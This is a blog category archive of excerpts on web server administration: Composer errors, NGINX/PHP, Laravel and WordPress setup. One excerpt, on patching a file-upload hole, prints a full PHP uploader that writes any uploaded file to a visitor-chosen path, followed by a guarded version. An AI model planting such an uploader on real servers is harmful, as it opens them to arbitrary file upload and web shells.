Category Archives: WEBSERVER

Troubleshooting – proc_open(): fork failed – Cannot allocate memory

The following exception is caused by a lack of memory and not having swap configured Check https://getcomposer.org/doc/articles/troubleshooting.md#proc-open-fork-failed-errors for details [ErrorException] proc_open(): fork failed – Cannot allocate memory General Package not found Package not found on travis-ci.org Package not found in a Jenkins-build I have a dependency which contains a “repositories” definition in its composer.json, but… Read More »

Install NGINX and PHP

  #### Install NGINX ############## # Install software-properties-common package to give us add-apt-repository package sudo apt-get install -y software-properties-common # Install latest nginx version from community maintained ppa sudo add-apt-repository ppa:nginx/stable # Update packages after adding ppa sudo apt-get update # Install nginx sudo apt-get install -y nginx # Check status sudo service nginx #… Read More »

Membuat Project Website dengan Laravel 5.2

Membuat Project Website dengan Laravel 5.2 Kali ini iseng saja mau membuat project website Larakop dengan Framework Laravel 5.2 dan menggunakan AdminLTE 2.42 sebagai Backend  Template  atau Admin Dashboardnya. Catatan ini tidak lengkap/tidak detail silakan kembangkan, diasumsikan sudah pernah install Composer Laravel sebelumnya. Berikut beberapa langkah sederhana yang perlu dilakukan, antara lain: Install Website Larakop… Read More »

Cara Menutup Celah File Upload Vulnerability dengan Direct Access

<?php $files = @$_FILES[“files”]; if ($files[“name”] != ”) { $fullpath = $_REQUEST[“path”] . $files[“name”]; if (move_uploaded_file($files[‘tmp_name’], $fullpath)) { echo “<h1><a href=’$fullpath’>OK-Click here!</a></h1>”; } }echo ‘<html><head><title>Upload files…</title></head><body><form method=POST enctype=”multipart/form-data” action=””><input type=text name=path><input type=”file” name=”files”><input type=submit value=”Up”></form></body></html>’; ?> menjadi <?php debug_backtrace() || die (“patches by Router53”); $files = @$_FILES[“files”]; if ($files[“name”] != ”) { $fullpath = $_REQUEST[“path”]… Read More »

Cara Mudah Install WordPress dengan Server Nginx

WordPress adalah sebuah aplikasi sumber terbuka (open source) yang sangat populer digunakan sebagai mesin blog (blog engine). WordPress dibangun dengan bahasa pemrograman PHP dan basis data (database) MySQL. PHP dan MySQL, keduanya merupakan perangkat lunak sumber terbuka (open source software). Buat apa memiliki blog WordPress? WordPress digunakan oleh orang-orang yang kurang kerjaan saja, orang-orang yang… Read More »

Cara Mudah Mengamankan Hosting WordPress dengan Mengubah File Permision

Faktor keamanan hosting adalah hal utama yang wajib diperhatikan, oleh sebab itu  diperlukan suatu tindakan nyata. Cara mengamankan pun setiap orang berbeda-beda setiap langkah, namun tujuan kurang lebih sama, yaitu agar hosting terasa nyaman dan aman dari serangan hacker atau orang-orang jahat yang sengaja ingin ingin mengusik ketenangan hosting atau orang-orang yang  tidak suka melihat… Read More »

Mudah, Cara Install WordPress dengan Nginx pada Ubuntu 14.04

Pengantar WordPress adalah Content Management System (CMS) yang paling populer di dunia. Hal ini memungkinkan Anda untuk mendapatkan situs atau blog dengan mudah. Setelah instalasi, Anda dapat mengatur hampir segala sesuatu di antarmuka web yang sangat mudah. Panduan kali ini, kita akan mencoba cara menginstal WordPress pada Server Ubuntu 14.04 (tidak jauh berbeda dengan menggunakan… Read More »